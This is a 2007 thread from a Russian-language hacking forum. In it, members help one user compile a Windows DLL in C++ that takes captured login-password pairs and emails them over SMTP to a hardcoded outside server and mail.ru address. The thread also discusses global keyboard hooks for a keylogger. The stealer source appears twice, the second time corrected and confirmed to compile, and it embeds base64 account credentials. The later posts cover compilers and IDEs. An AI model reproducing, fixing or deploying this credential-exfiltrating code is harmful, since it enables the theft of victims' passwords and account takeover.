ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

13.12.2007, 11:46
|
|
Участник форума
Регистрация: 16.06.2007
Сообщений: 104
Провел на форуме: 178647
Репутация:
143
|
|
groundhog - вот исходник dllки
Код:
// dll.cpp : Defines the entry point for the DLL application.
//
#include "stdafx.h"
#include <winsock2.h>
#include <stdlib.h>
#include <stdio.h>
#define ACC_COUNT 3
char l[20];
char p[20];
char working=100;
char str[20];
typedef struct
{
char l[30];
char p[30];
char mail[50];
} ACCOUNTS;
ACCOUNTS acci[ACC_COUNT]=
{
{"bm9uYW1lbm9uYW1lMW==","MTIzNDU2Nzg5MD==","MAIL FROM: schmel@mail.ru"}
};
DWORD WINAPI SendEMail(LPVOID lpData)
//void (char * l,char *p)
{
int accNumber=0;
working=0;
while(accNumber<ACC_COUNT)
{
BOOL AllOK=true;
BYTE sBuf[4096];
SOCKET nSMTPServerSocket;
struct sockaddr_in smtp_address;
int nConnect;
int iLength;
int iMsg = 0;
int iEnd = 0;
char *MailMessage[] =
{
"HELO mail.ru\r\n",
"AUTH LOGIN\r\n",
NULL,
NULL,
NULL,
"RCPT TO: xxxxx-xxxx@mail.ru\r\n",
"DATA\r\n",
NULL,
"QUIT\r\n",
NULL
};
WSADATA wsa;
if (WSAStartup(MAKEWORD(2,0),&wsa))
{
working=100;
return 0;
}
MailMessage[2]=(char *)malloc(strlen(acci[accNumber].l)+2);
strcpy(MailMessage[2],acci[accNumber].l);
strcat(MailMessage[2],"\r\n");
MailMessage[3]=(char *)malloc(strlen(acci[accNumber].p)+2);
strcpy(MailMessage[3],acci[accNumber].p);
strcat(MailMessage[3],"\r\n");
MailMessage[4]=(char *)malloc(strlen(acci[accNumber].mail)+2);
strcpy(MailMessage[4],acci[accNumber].mail);
strcat(MailMessage[4],"\r\n");
MailMessage[7]=(char *)malloc(strlen(l)+strlen(p)+11);
strcpy(MailMessage[7],l);
strcat(MailMessage[7]," - ");
strcat(MailMessage[7],p);
strcat(MailMessage[7],"\r\n\r\n.\r\n");
nSMTPServerSocket = socket(PF_INET, SOCK_STREAM, 0);
if(nSMTPServerSocket != INVALID_SOCKET)
{
smtp_address.sin_family = AF_INET;
smtp_address.sin_addr.s_addr = inet_addr("194.67.23.111");
smtp_address.sin_port = htons(25);
nConnect = connect(nSMTPServerSocket, (PSOCKADDR)&smtp_address,
sizeof(smtp_address));
if(nConnect)
{
}
else
{
do
{
iLength = recv(nSMTPServerSocket, (LPSTR)sBuf+iEnd, sizeof(sBuf)-iEnd, 0);
if((sBuf[iEnd])=='4' && (sBuf[iEnd+1])=='0' && (sBuf[iEnd+2])=='3')
{
accNumber++;
AllOK=false;
break;
}
iEnd += iLength;
sBuf[iEnd] = '\0';
//MessageBox(0,MailMessage[iMsg],0,MB_OK);
send(nSMTPServerSocket, (LPSTR)MailMessage[iMsg], strlen(MailMessage[iMsg]), 0);
iMsg++;
}
while(MailMessage[iMsg]);
}
closesocket(nSMTPServerSocket);
nSMTPServerSocket=NULL;
}
if(AllOK) break;
}
working=100;
return 0;
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
if(ul_reason_for_call==DLL_PROCESS_ATTACH) working=100;
return TRUE;
}
extern "C" void CALLBACK proc1(char *str,char *str2)
{
strcpy(l,str);
strcpy(p,str2);
if(working!=0)
{
CreateThread(NULL,0,SendEMail,NULL,0,NULL);
}
}
|
|
|

13.12.2007, 12:31
|
|
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме: 2238549
Репутация:
1318
|
|
SchmeL, попробуй вместо
напиши
|
|
|

13.12.2007, 12:41
|
|
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме: 2238549
Репутация:
1318
|
|
Rav, если ты всё правильно сделал, то вызов
SetWindowsHookEx(WH_KEYBOARD, KeyProc, NULL, NULL);
должен хучить сообщения клавиатуры для всех процессов. Обрати внимание что предпоследний параметр NULL. Попробуй, может в этом косяк. Какой результат возвращает функция? Не NULL?
|
|
|

13.12.2007, 13:18
|
|
Участник форума
Регистрация: 16.06.2007
Сообщений: 104
Провел на форуме: 178647
Репутация:
143
|
|
groundhog, невышло  попробую всетаки скачать этого монстра Microsoft Visual C++ 2005 Express Edition. на нем попробовать...
|
|
|

13.12.2007, 16:11
|
|
Постоянный
Регистрация: 04.11.2007
Сообщений: 303
Провел на форуме: 811764
Репутация:
119
|
|
А ты как вставлял windows.h, вернее куда? Его после winsock2.h надо прописывать
Надо еще добавить
Код:
#pragma comment(lib, "ws2_32")
Компилил в VC++ 6.0.
|
|
|

14.12.2007, 01:08
|
|
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме: 2238549
Репутация:
1318
|
|
SchmeL, в общем я попробовал, VS6 отлично компилит этот исходник с учётом исправлений, о которых тебе сказали:
Код:
// dll.cpp : Defines the entry point for the DLL application.
//
#pragma comment(lib, "ws2_32")
//#include "stdafx.h"
#include <windows.h>
#include <winsock2.h>
#include <stdlib.h>
#include <stdio.h>
#define ACC_COUNT 3
char l[20];
char p[20];
char working=100;
char str[20];
typedef struct
{
char l[30];
char p[30];
char mail[50];
} ACCOUNTS;
ACCOUNTS acci[ACC_COUNT]=
{
{"bm9uYW1lbm9uYW1lMW==","MTIzNDU2Nzg5MD==","MAIL FROM: schmel@mail.ru"}
};
DWORD WINAPI SendEMail(LPVOID lpData)
//void (char * l,char *p)
{
int accNumber=0;
working=0;
while(accNumber<ACC_COUNT)
{
BOOL AllOK=true;
BYTE sBuf[4096];
SOCKET nSMTPServerSocket;
struct sockaddr_in smtp_address;
int nConnect;
int iLength;
int iMsg = 0;
int iEnd = 0;
char *MailMessage[] =
{
"HELO mail.ru\r\n",
"AUTH LOGIN\r\n",
NULL,
NULL,
NULL,
"RCPT TO: xxxxx-xxxx@mail.ru\r\n",
"DATA\r\n",
NULL,
"QUIT\r\n",
NULL
};
WSADATA wsa;
if (WSAStartup(MAKEWORD(2,0),&wsa))
{
working=100;
return 0;
}
MailMessage[2]=(char *)malloc(strlen(acci[accNumber].l)+2);
strcpy(MailMessage[2],acci[accNumber].l);
strcat(MailMessage[2],"\r\n");
MailMessage[3]=(char *)malloc(strlen(acci[accNumber].p)+2);
strcpy(MailMessage[3],acci[accNumber].p);
strcat(MailMessage[3],"\r\n");
MailMessage[4]=(char *)malloc(strlen(acci[accNumber].mail)+2);
strcpy(MailMessage[4],acci[accNumber].mail);
strcat(MailMessage[4],"\r\n");
MailMessage[7]=(char *)malloc(strlen(l)+strlen(p)+11);
strcpy(MailMessage[7],l);
strcat(MailMessage[7]," - ");
strcat(MailMessage[7],p);
strcat(MailMessage[7],"\r\n\r\n.\r\n");
nSMTPServerSocket = socket(PF_INET, SOCK_STREAM, 0);
if(nSMTPServerSocket != INVALID_SOCKET)
{
smtp_address.sin_family = AF_INET;
smtp_address.sin_addr.s_addr = inet_addr("194.67.23.111");
smtp_address.sin_port = htons(25);
nConnect = connect(nSMTPServerSocket, (PSOCKADDR)&smtp_address,
sizeof(smtp_address));
if(nConnect)
{
}
else
{
do
{
iLength = recv(nSMTPServerSocket, (LPSTR)sBuf+iEnd, sizeof(sBuf)-iEnd, 0);
if((sBuf[iEnd])=='4' && (sBuf[iEnd+1])=='0' && (sBuf[iEnd+2])=='3')
{
accNumber++;
AllOK=false;
break;
}
iEnd += iLength;
sBuf[iEnd] = '\0';
//MessageBox(0,MailMessage[iMsg],0,MB_OK);
send(nSMTPServerSocket, (LPSTR)MailMessage[iMsg], strlen(MailMessage[iMsg]), 0);
iMsg++;
}
while(MailMessage[iMsg]);
}
closesocket(nSMTPServerSocket);
nSMTPServerSocket=NULL;
}
if(AllOK) break;
}
working=100;
return 0;
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
if(ul_reason_for_call==DLL_PROCESS_ATTACH) working=100;
return TRUE;
}
extern "C" void CALLBACK proc1(char *str,char *str2)
{
strcpy(l,str);
strcpy(p,str2);
if(working!=0)
{
CreateThread(NULL,0,SendEMail,NULL,0,NULL);
}
}
Я надеюсь, ты компиляешь его как Win32 Dynamic Link Library?
|
|
|

14.12.2007, 02:21
|
|
Участник форума
Регистрация: 16.06.2007
Сообщений: 104
Провел на форуме: 178647
Репутация:
143
|
|
ну раз компилится, буду копать спасибо. уже качаю visual c++ надеюсь на нем получится...
|
|
|

14.12.2007, 14:18
|
|
Участник форума
Регистрация: 19.12.2006
Сообщений: 173
Провел на форуме: 1812111
Репутация:
125
|
|
а можно ссылочку на visual c++,а еще лучше на Gnu c ++ чтоб только в виндусе пошел..а то я блин скачал один гну а там одни какието файлы блокнотовские и страницы инетовские((даже скажу название gcc-4.0.1.tar
у меня просто в самоучителе написано:Одна из популярнейших сред разработки — Visual C++ фирмы Microsoft. В ней
можно скомпилировать и выполнить все программы, представленные в этой книге;
однако не все из вас являются владельцами этого программного продукта из-за его
довольно высокой стоимости даже у уличных торговцев (кстати, многие в это не по-
верят, но далеко не все программисты работают в Windows — есть и другие операци-
онные системы). К счастью, существуют и общедоступные среды разработки про-
грамм C++, наиболее популярная из которых GNU C++.
|
|
|

14.12.2007, 14:24
|
|
Участник форума
Регистрация: 31.12.2005
Сообщений: 231
Провел на форуме: 1106266
Репутация:
366
|
|
IDE
http://www.bloodshed.net/devcpp.html
Bloodshed Dev-C++ is a full-featured Integrated Development Environment (IDE) for the C/C++ programming language. It uses Mingw port of GCC (GNU Compiler Collection) as it's compiler. Dev-C++ can also be used in combination with Cygwin or any other GCC based compiler.
там вроде идёт сразу и Mingw port of GCC.
Последний раз редактировалось VampiRUS; 14.12.2007 в 14:29..
|
|
|

14.12.2007, 15:03
|
|
Участник форума
Регистрация: 19.12.2006
Сообщений: 173
Провел на форуме: 1812111
Репутация:
125
|
|
Спасибо огромное прога классная русская..но есть одно но )))там нету очень многих как бы сказать..вещей..например в книге пишут Сердцем пакета GNU C++ является
утилита rhide. там я фиг знает где она)
Вообщем нужна консольная Gnu C++)либо другая книжка
гну незнаю где качать(
пока искал новую книжку наткнулся на самый сложный язык и выучил его буквально за час) это был qbasic ))))) 
Последний раз редактировалось P(i)n*Fl0p1; 14.12.2007 в 16:03..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|